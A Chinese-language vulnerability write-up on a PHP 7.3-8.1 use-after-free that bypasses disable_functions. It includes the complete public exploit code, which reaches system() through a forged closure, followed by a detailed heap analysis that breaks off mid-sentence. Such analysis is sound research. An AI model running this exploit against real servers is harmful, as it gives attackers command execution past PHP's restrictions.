标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2022-3113]   作者: 州官 发表于: [2022-05-30]

本文共 [26] 位读者顶过

1. 简介

PHP 7.3-8.1 中字符串连接符中有一个错误,当参数为数组时会触发错误处理,如果在错误处理回调中删除了相关资源,会造成UAF [出自:jiwo.org]

POC

<?php $my_var = str_repeat("a", 1); set_error_handler( function() use(&$my_var) { echo("error\n"); $my_var = 0x123; } ); $my_var .= [0]; ?> 

exp

<?php # PHP 7.3-8.1 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=81705 #  # This exploit should work on all PHP 7.3-8.1 versions # released as of 2022-01-07 # # Author: https://github.com/mm0r1 new Pwn("uname -a"); class Helper { public $a, $b, $c; } class Pwn { const LOGGING = false; const CHUNK_DATA_SIZE = 0x60; const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE; const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1; // 0x18是zend_string的头大小 const HT_SIZE = 0x118; const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1; public function __construct($cmd) { for($i = 0; $i < 10; $i++) { // 分配了两个数组结构,其值指向字符串结构 // 这里的操作会使得内存池分配32个Bucket出来,不带索引数组,共计32*32+8=1032字节,要分配24号规格内存 // 为什么要这个操作,不要好像也可以 $groom[] = self::alloc(self::STRING_SIZE); $groom[] = self::alloc(self::HT_STRING_SIZE); } $concat_str_addr = self::str2ptr($this->heap_leak(), 16); // concat_str_addr是'Array'+'A'*66这段字符串zend_string(占95字节内存)的地址0x7ffff3a84580,这是concat产生的结果。 // 其字符串内容offset=16处开始是$arr原本的数组的占据的Bucket的位置,concat操作产生的result='Array'+'A'*66的zval覆盖了这个位置 $fill = self::alloc(self::STRING_SIZE); // 为啥要这个操作,没有还不行 // STRING_SIZE能分配到95字节的内存空间 // $fill的zend_string地址是0x7ffff3a84500 // 二者大小相同,地址紧挨,相距0x80 // 因为调试时,有ZEND_DEBUG_BUILD声明,95字节的zend_string实际分配到了11号规格的内存,即相差0x80 // 为什么$fill在'Array'+'A'*66的前面呢 printf("0x%x\n",$concat_str_addr); $this->abc = self::alloc(self::STRING_SIZE); var_dump($fill); $abc_addr = $concat_str_addr + self::CHUNK_SIZE; self::log("abc @ 0x%x", $abc_addr); $this->free($abc_addr); $this->helper = new Helper; if(strlen($this->abc) < 0x1337) { self::log("uaf failed"); return; } $this->helper->a = "leet"; $this->helper->b = function($x) {}; $this->helper->c = 0xfeedface; $helper_handlers = $this->rel_read(0); self::log("helper handlers @ 0x%x", $helper_handlers); $closure_addr = $this->rel_read(0x20); self::log("real closure @ 0x%x", $closure_addr); $closure_ce = $this->read($closure_addr + 0x10); self::log("closure class_entry @ 0x%x", $closure_ce); $basic_funcs = $this->get_basic_funcs($closure_ce); self::log("basic_functions @ 0x%x", $basic_funcs); $zif_system = $this->get_system($basic_funcs); self::log("zif_system @ 0x%x", $zif_system); $fake_closure_off = 0x70; for($i = 0; $i < 0x138; $i += 8) { $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i)); } $this->rel_write($fake_closure_off + 0x38, 1, 4); $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68; $this->rel_write($fake_closure_off + $handler_offset, $zif_system); $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18; self::log("fake closure @ 0x%x", $fake_closure_addr); $this->rel_write(0x20, $fake_closure_addr); ($this->helper->b)($cmd); $this->rel_write(0x20, $closure_addr); unset($this->helper->b); } private function heap_leak() {//开始UAF $arr = [[], []];//首先是数组 $buf=null;//然后是一个临时变量 set_error_handler(function() use (&$arr, &$buf) { $arr = 2;//$arr原本指向的_zend_array 0x7ffff3a59a80结构被释放 // 这一步操作会调用zend_array_destroy回收内存 // ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER调用的zend_assign_to_variable中,将$arr中存储的zend_array地址视为垃圾(garbage),调用rc_dtor_func回收 // $arr对应的zval.value的值变为1. // zend_mm_free_small回收了$arr的内存,重新挂载到了slot——16,320字节大小的链表头上。 // $arr结构的arData结构在0x7ffff3a5d288,释放的时候只是释放该Bucket结构,_zend_array存储在0x7ffff3a59a80,时9号规格的small内存,96字节 // 使用宏HT_GET_DATA_ADDR(ht)获取到了要释放的Bucket结构,计算得0x7ffff3a5d280,$arr数组中的两个Bucket分别存放在0x7ffff3a5d288和0x7ffff3a5d2a8(一个Bucket32字节) // 为啥从0x7ffff3a5d280跟前开始释放呢,$arr时pack array,不需要索引数组,所以其只有两个单位的值为-1的索引数组,索引数组一个solt占4个字节,两个就是8字节 // 索引数组就在Bucket的签名,通过相关size的计算可以得出索引数组的大小,这里算得索引数组的大小为2,所以最后释放的地址就是0x7ffff3a5d280,其offset=8的位置就是arData,即第一个Bucket // 这个未初始化的数组是在编译阶段就分配的,分配Bucket时,最少一次分配8个,每个32B,共256B再加上8个字节的索引数组,共计264B,能容纳这么多最小规格时16号320B大小的small内存 // zend_string头有24字节,分配255长度的字符串内存,共计需要279B,也会分配到16号规格内存,如此,UAF的条件达到 // 调用栈 /*  zend_mm_free_small(zend_mm_heap * heap, void * ptr, int bin_num) (\home\xxxxx\php-src\Zend\zend_alloc.c:1280) zend_mm_free_heap(zend_mm_heap * heap, void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (\home\xxxxx\php-src\Zend\zend_alloc.c:1370) _efree(void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (\home\xxxxx\php-src\Zend\zend_alloc.c:2549) zend_array_destroy(HashTable * ht) (\home\xxxxx\php-src\Zend\zend_hash.c:1635) rc_dtor_func(zend_refcounted * p) (\home\xxxxx\php-src\Zend\zend_variables.c:57) zend_assign_to_variable(zval * variable_ptr, zval * value, zend_uchar value_type, zend_bool strict) (\home\xxxxx\php-src\Zend\zend_execute.h:131) ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER() (\home\xxxxx\php-src\Zend\zend_vm_execute.h:40771) execute_ex(zend_execute_data * ex) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57205) zend_call_function(zend_fcall_info * fci, zend_fcall_info_cache * fci_cache) (\home\xxxxx\php-src\Zend\zend_execute_API.c:812) _call_user_function_ex(zval * object, zval * function_name, zval * retval_ptr, uint32_t param_count, zval * params, int no_separation) (\home\xxxxx\php-src\Zend\zend_execute_API.c:644) zend_error_va_list(int type, const char * error_filename, uint32_t error_lineno, const char * format, struct __va_list_tag * args) (\home\xxxxx\php-src\Zend\zend.c:1366) zend_error(int type, const char * format) (\home\xxxxx\php-src\Zend\zend.c:1480) __zval_get_string_func(zval * op, zend_bool try) (\home\xxxxx\php-src\Zend\zend_operators.c:889) zval_get_string_func(zval * op) (\home\xxxxx\php-src\Zend\zend_operators.c:925) concat_function(zval * result, zval * op1, zval * op2) (\home\xxxxx\php-src\Zend\zend_operators.c:1829) zend_binary_op(zval * ret, zval * op1, zval * op2) (\home\xxxxx\php-src\Zend\zend_execute.c:1312) ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER() (\home\xxxxx\php-src\Zend\zend_vm_execute.h:39117) execute_ex(zend_execute_data * ex) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57109) zend_execute(zend_op_array * op_array, zval * return_value) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57913) zend_execute_scripts(int type, zval * retval, int file_count) (\home\xxxxx\php-src\Zend\zend.c:1665)  */ $buf = str_repeat("\x00", self::HT_STRING_SIZE);//0x118-0x18-0x01长度的0x00 0x00ff即255长度的字符串,这个字符串覆盖了_zend_array结构体 // 经过对原来的arr结构地址设置数据更改断点发现,arr原本的位置被str_repeat函数操作时覆盖 // 在一次调试中,_zend_array存储在0x7ffff3a59a80,这是一个哈希表,arData存储在0x7ffff3a5d288,Bucket长度2 // 新分配的字符串长度255,占空间287,emalloc得到地址0x7ffff3a5d280 // 该地址在16号规格small内存中,320B // // 此时得到的$buf的字符串内容就存储在和$arr的Bucket一样的位置,concat的错误使得该匿名函数被调用,即ZEND_ERROR被执行,ZEND_ERROR执行后实际继续返回到concat的后续过程开始执行 }); $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array")); // op2是长度为一个96(0x60)标准存储单元大小的zend_string结构体,op1是zval_struct结构体 //op1是数组,op2是字符串,concat时,引发错误,掉头error handler的回调函数,$arr变量的内存指向zval_struct, //offset+0偏移处的成员是一个_zend_array结构体的地址,现在其值就是1,数字1,一个64位地址,里面只有1。 //在这一部操作中,op1是引用类型的值,handler发现其是引用,就提取出它引用的内容,发现是一个数组,然后调用宏SEPARATE_ARRAY来分离数组 // 引用计数只有1时,分离操作不起作用,否则,垃圾回收机制会删除一次引用 // 在赋值操作实际执行时,$arr所代表的数组被提取出来作为实际操作数 // 对于的handler是ASSIGN_DIM_OP,操作数 op1是$arr,op2是1,根据指令的特点,该handler会调用下一条指令的数据,OP_DATA的操作数,及alloc产生的字符串 // 于是 op1是$arr[1],是数组,op2是字符串'\x00'*255 // 因为op1的是array,所以触发ZEND_ERROR // zend_fetch_dimension_address_inner_RW_CONST,handler调用该函数在哈希表中对数组取值 // $arr[1]的地址在0x7ffff3a5d2a8 /*  */ // ZEND_ERROR执行后,__zval_get_string_func返回一个zend_known_strings的地址,其内容时Array,并赋给了op1_copy,暂存op1,(此时真正的op1已经被字符串覆盖了) // 因为时.=这种自操作,所以指令中的result和op1的地址相同,对result的操作就是对op1的操作 // op1_copy得到值后,op1_copy的地址被赋回op1,即op1表示zend_known_strings,即"Array"的地址 // 此时,result指向"\x00"*255的zval,op2指向66字节长度的alloc函数产生的字符串,最终concat_function返回了'Array'+'A'*66这段字符串,$buf的zval.value也指向了新分配的存储这块内存 // $buf的zval.value本来是全0,$buf本身的结构在0x7ffff3a5d280,但是op1的引用在0x7ffff3a5d2a8,有40个字节的偏移 // 执行这句ZVAL_NEW_STR(result, result_str)时,0x7ffff3a5d2a8的zval.value被赋值,指向'Array'+'A'*66这段字符串zend_string // 此时我读取$buf的字符串偏移$buf[16]处起始的8个字节就是'Array'+'A'*66这段字符串zend_string的地址 // offset=16因为$buf在0x7ffff3a5d280,result在0x7ffff3a5d2a8,相差40字节,除去0x7ffff3a5d280开始的24字节字符串zend_string的头外,再偏移16字节就是reslut,即'Array'+'A'*66这段字符串zval。 file_put_contents("/mnt/c/Users/L1sper/Desktop/1.bin",$buf); return $buf; } private function free($addr) { $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr); $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload)); $arr = [[], []]; set_error_handler(function() use (&$arr, &$buf, &$payload) { $arr = 1; $buf = str_repeat($payload, 1); }); $arr[1] .= "x"; } private function rel_read($offset) { return self::str2ptr($this->abc, $offset); } private function rel_write($offset, $value, $n = 8) { for ($i = 0; $i < $n; $i++) { $this->abc[$offset + $i] = chr($value & 0xff); $value >>= 8; } } private function read($addr, $n = 8) { $this->rel_write(0x10, $addr - 0x10); $value = strlen($this->helper->a); if($n !== 8) { $value &= (1 << ($n << 3)) - 1; } return $value; } private function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = $this->read($addr); $f_name = $this->read($f_entry, 6); if($f_name === 0x6d6574737973) { return $this->read($addr + 8); } $addr += 0x20; } while($f_entry !== 0); } private function get_basic_funcs($addr) { while(true) { // In rare instances the standard module might lie after the addr we're starting // the search from. This will result in a SIGSGV when the search reaches an unmapped page. // In that case, changing the direction of the search should fix the crash. // $addr += 0x10; $addr -= 0x10; if($this->read($addr, 4) === 0xA8 && in_array($this->read($addr + 4, 4), [20180731, 20190902, 20200930, 20210902])) { $module_name_addr = $this->read($addr + 0x20); $module_name = $this->read($module_name_addr); if($module_name === 0x647261646e617473) { self::log("standard module @ 0x%x", $addr); return $this->read($addr + 0x28); } } } } private function log($format, $val = "") { if(self::LOGGING) { printf("{$format}\n", $val); } } static function alloc($size) { return str_shuffle(str_repeat("A", $size)); } static function str2ptr($str, $p = 0, $n = 8) { $address = 0; for($j = $n - 1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p + $j]); } return $address; } } ?> 

2. UAF分析

<?php $arr = [[], []];//首先是数组 arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array")); ?> 

set_error_handler会设置错误处理句柄,当PHP执行报错时,调用该函数

.=是PHP赋值操作附加字符串连接,这里对应操作是ZEND_ASSIGN_DIM_OP,意思就是数组降维,说白了就是取数组元素。

赋值的参数是zval(IS_STRING:66*'\0'),被赋值的是一个zend_empty_array,然后进入 zend_binary_op进行赋值操作

参数列表是(ret=arr[1],op1=arr[1],op2=zval@66*'\0'),此处因为是.= ,即自赋值,返回值和op1是一样的

zend_binary_op函数中定义了各种不同类型的操作句柄,由Opcode的扩展值决定使用那种操作

static zend_always_inline int zend_binary_op(zval *ret, zval *op1, zval *op2 OPLINE_DC) { static const binary_op_type zend_binary_ops[] = { add_function, sub_function, mul_function, div_function, mod_function, shift_left_function, shift_right_function, concat_function, bitwise_or_function, bitwise_and_function, bitwise_xor_function, pow_function }; /* size_t cast makes GCC to better optimize 64-bit PIC code */ size_t opcode = (size_t)opline->extended_value; return zend_binary_ops[opcode - ZEND_ADD](ret, op1, op2); } //op                           fetch          ext  return  operands //ASSIGN_DIM_OP                .=               8          !0, 1 //此处的扩展值是8,即调用concat_function进行操作 

\$arr存了一串Bucket,每个Bucket里面带了一个zval,对于\$arr来说,每个元素是一个zend_array

跟进concat_function:

首先验证op1是不是字符串,如果不是,字符串,就尝试使用zval_get_string_func(op1)从中得到字符串

跟进zval_get_string_func:

判断类型,发现是IS_ARRAY,调用zend_error,触发回调错误处理句柄

<?php $buf=null; set_error_handler(function() use (&$arr, &$buf){ $arr = 2; $buf = str_repeat("\x00", self::HT_STRING_SIZE); }); 

在错误处理句柄中,\$arr被重新赋值,导致其本来对应的那块空间被销毁,即其堆地址被挂载到了free链表上了。被销毁的包括\$arr对应的zend_array结构,以及哈希表数据存储的部分,即Bucket所在的部分。

以某次调试为例,zval_get_string_func的参数zval即\$arr[1]的地址是0x7ffff3a5d2a8,它是第二个Bucket,一个Bucket的大小是32B,然后packed类型的未初始化数组的数组索引表大小是2,每个索引值都是-1,size是32b即4字节,arData的地址就是0x7ffff3a5d288,整个数据部分的地址就是0x7ffff3a5d280,当前arr这个数组共有8个Bucket,2个索引,共计264字节,加上调试信息32字节,这块结构共计296字节,占据32号RUN规格的内存。根据地址计算得到验证。

buf现在需要分配HT_STRING_SIZE = HT_SIZE - 0x18 - 1 = 0x118 -0x18 -1的内容。0x118是280B,即分配255长的字符串,需要分配空间是(_ZSTR_HEADER_SIZE + len + 1) = 280B,因为分配字符串时还会带上zend_mm_debug_info的32字节,所以需要额外32字节,即共需312B空间,最后分配得到320B的空间,刚好是上次被释放的0x7ffff3a5d280。这块区域其实前面有存储过255长度的'\0',来自于

for($i = 0; $i < 10; $i++) {  // 分配了两个数组结构,其值指向字符串结构  // 这里的操作会使得内存池分配32个Bucket出来,不带索引数组,共计32*32+8=1032字节,要分配24号规格内存  // 为什么要这个操作,不要好像也可以  $groom[] = self::alloc(self::STRING_SIZE);  $groom[] = self::alloc(self::HT_STRING_SIZE长度的字符串,消耗10个16号RUN空间);//HT_STRING_SIZE长度的字符串,消耗10个16号RUN空间  } 

继续,错误处理完后,op1的位置已经不复存在了,op1指向了一个新的字符串”Array“,上面提到的255*‘\0’放在buf中。

回到concat_function,处理完op1后,再处理op2,op2本身就是字符串66*A,拼接后得到‘Array+66*A,此时返回值是存储再0x7ffff3a5d2a8处的,所以新的字符串对应得zval地址被放在了0x7ffff3a5d2a8处

此时,\$buf中的zend_string首地址就是0x7ffff3a5d280,字符串内容的地址就是0x7ffff3a5d298,在字符串内容偏移+16处,即zend_string+40处。这样我们就能够得到‘Array+66*A的zval结构(地址0x7ffff3a84580,type=6=IS_STRING)。同时,能够控制通过buf对该位置值的控制,读取任意地址的内容。

3. 利用分析

然后是

$this->abc = self::alloc(self::STRING_SIZE); 

STRING_SIZE在调试环境下始终是47,分配到0x80=128B的内存空间。

前面提到的Array+66*A长度也是STRING_SIZE,二者占据的大小相同,空间相邻。

$fill = self::alloc(self::STRING_SIZE); 

是为了消耗掉Array+66*A前面的0x80的空间,避免$this->abc分配到其前面,导致后面计算abc的地址的计算方法错误(==有一个问题,为何Array+66*A前面还会有空间空着==)

$abc_addr = $concat_str_addr + self::CHUNK_SIZE; 

有一个问题,为何Array+66*A前面还会有空间空着:

根据调试,这是op2参数的位置。。。,用完之后会被释放,即0x7ffff3a84500在链表首。

回到前面,abc的位置已经被确定。即0x7ffff3a84580+ 0x80 = 0x7ffff3a84600。

此时进行了另一个操作

$this->free($abc_addr);  private function free($addr) {  $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);   $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));//320B的空间  $arr = [[], []];//320B的空间  set_error_handler(function() use (&$arr, &$buf, &$payload) {  $arr = 1;  $buf = str_repeat($payload, 1);//数组的320B被填充  });  $arr[1] .= "x";  } 

free函数的功能很明显和heap_leap很相似,只不过填充arData空间的不再是全0。根据前面的分析,这里又分配了一个320字节的块,并用pack("Q*", 0xdeadbeef, 0xcafebabe, 0x7ffff3a84580).AAA...AAA填充,

重点:然后,在销毁该哈希表的时候,会销毁其中的所有Bucket里的内容。此处的哈希表地址是0x00007ffff3a5e680,arData就在0x00007ffff3a5e688, $arr[1] 就在0x00007ffff3a5e6a8,显然这里存储了一个zval

zval_struct{ .value = 0x00007ffff3a5e6a8; .u1.v.type = 6 } 

这里就会被识别为一个字符串,然后其引用值为1,释放的时候就会被直接释放掉。所以$this->abc这里的0x80 = 128字节就会空出来

free函数执行完后,buf是指向长度0xdeadbeef的字符串,zend_string地址在0x7ffff3a5e680,$arr[1] .= "x"的结构存储在0x00007ffff3a92f80;

继续,

$this->helper = new Helper;  if(strlen($this->abc) < 0x1337) {  self::log("uaf failed");  return;  }  $this->helper->a = "leet";  $this->helper->b = function($x) {};  $this->helper->c = 0xfeedface; 

这里新建了一个类,对应ZEND_NEW操作,其会从EG(class_table)全局类表中找到对应的zend_class_entry结构的地址,此处为0x7ffff3a04018,该结构大小为456B,然后调用object_init_ex初始化一个对象出来(0x7ffff3a84600)。分配对象的时候用到了zend_objects_new,计算出的需要分配的大小是

56 + 16*2 +32= 120 其中((ce->ce_flags & ZEND_ACC_USE_GUARDS) = 1),刚好分配到free(abc)所得到的空间。

其中的成员变量b被赋予了一个闭包函数,即从EG(function_table)里面找到了zend_function结构,该结构大小224,该闭包函数的名字是%00%7Bclosure%7D%2Fhome%2Fxxxxx%2Fphp-src%2Ftest.php%3A58%240(注意url解码)。zend_function结构和zend_op_array具有相同大小,切二者拥有相同的common部分

union _zend_function { zend_uchar type; /* MUST be the first element of this struct! */ uint32_t quick_arg_flags; struct { zend_uchar type; /* never used */ zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */ uint32_t fn_flags; zend_string *function_name; zend_class_entry *scope; zend_function *prototype; uint32_t num_args; uint32_t required_num_args; zend_arg_info *arg_info; } common; zend_op_array op_array; zend_internal_function internal_function; }; 

然后是计算helper对象的地址

$helper_handlers = $this->rel_read(0);  private function rel_read($offset) {  return self::str2ptr($this->abc, $offset);  }   static function str2ptr($str, $p = 0, $n = 8) {  $address = 0;  for($j = $n - 1; $j >= 0; $j--) {  $address <<= 8;  $address |= ord($str[$p + $j]);  }  return $address;  } 

前面提到,$this->abc会引用到一块已经空闲的0x80=128大小的空间,分配的helper对象刚好能够占用上次free掉abc时释放出来的128B的空间,于是$this->abc现在可以根据偏移量取到helper对象对应的zend_objects结构里面的数据。

struct _zend_object { zend_refcounted_h gc;//8B uint32_t handle; // TODO: may be removed ??? zend_class_entry *ce; const zend_object_handlers *handlers; HashTable *properties; zval properties_table[1]; }; struct _zend_string { zend_refcounted_h gc; zend_ulong h; /* hash value */ size_t len; char val[1]; }; //根据这两个结构的对比以及字节对齐的原理,val处的值就是对象对应的zend_object_handlers,字符串长度就是ce的地址 ZEND_API zend_object* ZEND_FASTCALL zend_objects_new(zend_class_entry *ce) { zend_object *object = emalloc(sizeof(zend_object) + zend_object_properties_size(ce)); _zend_object_std_init(object, ce); object->handlers = &std_object_handlers; return object; } static zend_always_inline size_t zend_object_properties_size(zend_class_entry *ce) { return sizeof(zval) * (ce->default_properties_count - ((ce->ce_flags & ZEND_ACC_USE_GUARDS) ? 0 : 1)); } 

据此,可以读取到helper的zend_object中的handlers地址

$helper_handlers = $this->rel_read(0); 

然后是closure,这里其实读到的就是$helper->b对应的zend_object结构的地址(zval中的地址值存储在最前面)

$closure_addr = $this->rel_read(0x20); self::log("real closure @ 0x%x", $closure_addr); 

再然后是读取closure_ce,

$closure_ce = $this->read($closure_addr + 0x10); self::log("closure class_entry @ 0x%x", $closure_ce);  private function rel_write($offset, $value, $n = 8) {  for ($i = 0; $i < $n; $i++) {  $this->abc[$offset + $i] = chr($value & 0xff);  $value >>= 8;  }  }  private function read($addr, $n = 8) {  $this->rel_write(0x10, $addr - 0x10);  $value = strlen($this->helper->a);  if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }  return $value;  } 

读取方法如下:0x10偏移处是 $helper->a的zval,更改其value字段为要读取的addr-0x10,就能使用字符串长度获取到对应的值(len字段在zend_string的0x10偏移处,读取len就需要给定zend_string的地址,即将zval的value字段覆盖为addr-0x10)

此时达到了任意地址读的目的,然后就是读取helper->b的匿名函数_zend_object的偏移0x10处的值,即zend_object.ce;,是类的描述结构zend_class_entry的地址。该结构内部包含方法所属类名,父类名,各种魔术方法等。

struct _zend_class_entry { char type; zend_string *name; /* class_entry or string depending on ZEND_ACC_LINKED */ union { zend_class_entry *parent; zend_string *parent_name; }; int refcount; uint32_t ce_flags; int default_properties_count; int default_static_members_count; zval *default_properties_table; zval *default_static_members_table; ZEND_MAP_PTR_DEF(zval *, static_members_table); HashTable function_table; HashTable properties_info; HashTable constants_table; struct _zend_property_info **properties_info_table; zend_function *constructor; zend_function *destructor; zend_function *clone; zend_function *__get; zend_function *__set; zend_function *__unset; zend_function *__isset; zend_function *__call; zend_function *__callstatic; zend_function *__tostring; zend_function *__debugInfo; zend_function *serialize_func; zend_function *unserialize_func; /* allocated only if class implements Iterator or IteratorAggregate interface */ zend_class_iterator_funcs *iterator_funcs_ptr; /* handlers */ union { zend_object* (*create_object)(zend_class_entry *class_type); int (*interface_gets_implemented)(zend_class_entry *iface, zend_class_entry *class_type); /* a class implements this interface */ }; zend_object_iterator *(*get_iterator)(zend_class_entry *ce, zval *object, int by_ref); zend_function *(*get_static_method)(zend_class_entry *ce, zend_string* method); /* serializer callbacks */ int (*serialize)(zval *object, unsigned char **buffer, size_t *buf_len, zend_serialize_data *data); int (*unserialize)(zval *object, zend_class_entry *ce, const unsigned char *buf, size_t buf_len, zend_unserialize_data *data); uint32_t num_interfaces; uint32_t num_traits; /* class_entry or string(s) depending on ZEND_ACC_LINKED */ union { zend_class_entry **interfaces; zend_class_name *interface_names; }; zend_class_name *trait_names; zend_trait_alias **trait_aliases; zend_trait_precedence **trait_precedences; union { struct { zend_string *filename; uint32_t line_start; uint32_t line_end; zend_string *doc_comment; } user; struct { const struct _zend_function_entry *builtin_functions; struct _zend_module_entry *module; } internal; } info; }; 

再者是获取函数基地址,

$basic_funcs = $this->get_basic_funcs($closure_ce); self::log("basic_functions @ 0x%x", $basic_funcs);  private function get_basic_funcs($addr) {  while(true) {  // In rare instances the standard module might lie after the addr we're starting  // the search from. This will result in a SIGSGV when the search reaches an unmapped page.  // In that case, changing the direction of the search should fix the crash.  // $addr += 0x10;  $addr -= 0x10;  if($this->read($addr, 4) === 0xA8 &&  in_array($this->read($addr + 4, 4),  [20180731, 20190902, 20200930, 20210902])) {  $module_name_addr = $this->read($addr + 0x20);  $module_name = $this->read($module_name_addr);  if($module_name === 0x647261646e617473) {  self::log("standard module @ 0x%x", $addr);  return $this->read($addr + 0x28);  }  }  }  } 

读取方法是根据ce的地址,在其前面查找,根据MODULE_API_NO进行验证查找模块结构zend_module_entry

struct _zend_module_entry { unsigned short size; unsigned int zend_api; unsigned char zend_debug; unsigned char zts; const struct _zend_ini_entry *ini_entry; const struct _zend_module_dep *deps; const char *name; const struct _zend_function_entry *functions; int (*module_startup_func)(INIT_FUNC_ARGS); int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); int (*request_startup_func)(INIT_FUNC_ARGS); int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS); const char *version; size_t globals_size; #ifdef ZTS ts_rsrc_id* globals_id_ptr; #else void* globals_ptr; #endif void (*globals_ctor)(void *global); void (*globals_dtor)(void *global); int (*post_deactivate_func)(void); int module_started; unsigned char type; void *handle; int module_number; const char *build_id; }; 

offset=0处事size,offset=4处是zend_api,一般是20180731、20190902、20200930、20210902中之一,offset=0x20处是模块名name的地址。

为什么可以在ce的附近找到module呢,因为注册闭包函数对应的zend_class_entry是在zend_register_closure_ce函数中。根据watch调试得到,该结构在do_register_internal_class中被malloc分配并初始化,在加载启动Core模块时被分配在堆空间中。

调用栈如下:

而standard模块的zend_module_entry结构在php_register_internal_extensions_func注册内部模块时被加载进已注册模块哈希表。使用内存断点得到调用栈:

这里向哈希表中添加内容时,该哈希表的GC位被设置了IS_ARRAY_PERSISTENT,即被分配于系统malloc区内。

所以,ce和module都在堆中,可以慢慢向前查到。校验值是代码中定义的_zend_module_entry标准头。

#define ZEND_MODULE_API_NO 20190902 #define STANDARD_MODULE_HEADER_EX sizeof(zend_module_entry), ZEND_MODULE_API_NO, ZEND_DEBUG, USING_ZTS zend_module_entry basic_functions_module = { /* {{{ */ STANDARD_MODULE_HEADER_EX, NULL, standard_deps, "standard", /* extension name */ basic_functions, /* function list */ PHP_MINIT(basic), /* process startup */ PHP_MSHUTDOWN(basic), /* process shutdown */ PHP_RINIT(basic), /* request startup */ PHP_RSHUTDOWN(basic), /* request shutdown */ PHP_MINFO(basic), /* extension info */ PHP_STANDARD_VERSION, /* extension version */ STANDARD_MODULE_PROPERTIES }; 

_zend_module_entry偏移为0x24的位置是_zend_function_entry结构的地址,里面存放了该模块所有的函数,其中就包括了PHP_FE(system,arginfo_system)

依次读出_zend_function_entry列表里的每一个zend_function_entry结构,为其分配zend_internal_function大小的堆空间,然后拷贝zend_function前面一部分内容。因为zend_function是一个联合体,里面zend_op_array是最大的,所以拷贝前面zend_internal_function大小就可以了。这个新的zend_internal_function结构的指针将会被添加到全局函数表中。我们找到的其实是被全局定义在zend_module_entry的function列表中的basic_functions。

typedef struct _zend_function_entry { const char *fname; zif_handler handler; const struct _zend_internal_arg_info *arg_info; uint32_t num_args; uint32_t flags; } zend_function_entry; 

handler就是真正的函数地址

我们要做的就是将找到的_zend_function_entry结构赋给zend_function的handler

$zif_system = $this->get_system($basic_funcs);  self::log("zif_system @ 0x%x", $zif_system); 

接下来就是构造一个假的闭包函数,让他成为内部函数。

$fake_closure_off = 0x70;  for($i = 0; $i < 0x138; $i += 8) {  $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));  }  $this->rel_write($fake_closure_off + 0x38, 1, 4);  $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;  $this->rel_write($fake_closure_off + $handler_offset, $zif_system);  $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;  self::log("fake closure @ 0x%x", $fake_closure_addr);  $this->rel_write(0x20, $fake_closure_addr);  ($this->helper->b)($cmd);  $this->rel_write(0x20, $closure_addr);  unset($this->helper->b); 

对于($this->helper->b)($cmd);类的动态调用,会进入zend_init_dynamic_call_object逻辑,获取对象的get_closure句柄并调用。

在zend_init_dynamic_call_object内,传入的obj指针被强转为zend_closure闭包,其实在编译的时候,分配的空间大小就是按照_zend_closure分配的(加上调试信息共需要344B,分配得到17号RUN,384B),其中第一个成员就是_zend_object。

转换为闭包后,能够读取到其对应得zend_function、zend_class_entry等。

typedef struct _zend_closure {//312B zend_object std;//56B zend_function func;//224B zval this_ptr;//16B zend_class_entry *called_scope; zif_handler orig_internal_handler;//8B typedef void (ZEND_FASTCALL *zif_handler)(INTERNAL_FUNCTION_PARAMETERS) } zend_closure; //对比 struct _zend_object { zend_refcounted_h gc;//8B uint32_t handle; // TODO: may be removed ??? zend_class_entry *ce; const zend_object_handlers *handlers; HashTable *properties; zval properties_table[1]; }; 

数据复制的大概流程是

向abc所在的空间即helper对象对应的zend_object内容的0x70=112的偏移处开始写值(一个zend_object是56字节,这里隔了一个zend_object的空间),数据来源是闭包函数helper->b对应的zend_object(或者可以说是zend_closure)的内容。共计复制0x138=312B=sizeof(zend_closure)的内容。按理来说,这块内存并没有被分配出来,而且规格不对。但是我们能写入的内容只能是在abc内以及abc的后面

helper对象对应的zend_object内容的0x70=112的偏移处已经是一个新的块的起始位置(helper对应得zend_object占得是abc得空间,包含头只有128字节,写得时候只能从offset+24处开始写,所以offset+0x70就是新的字符串块儿的,原本abc的空间可写长度剩余128-24=104字节,向后跨越112字节,来到了新的128字节存储块的offset+8处,没有从offset+0处开始是保留了这里的空闲链表指针)。

连续向下写0x138=312B的数据,会非法占用abc后面的3个128B的块儿。

复制完后,就更改helper->b对应得zend_object结构的地址,让其指向新的zend_closure处。

为什么不直接更改zend_closure的handler

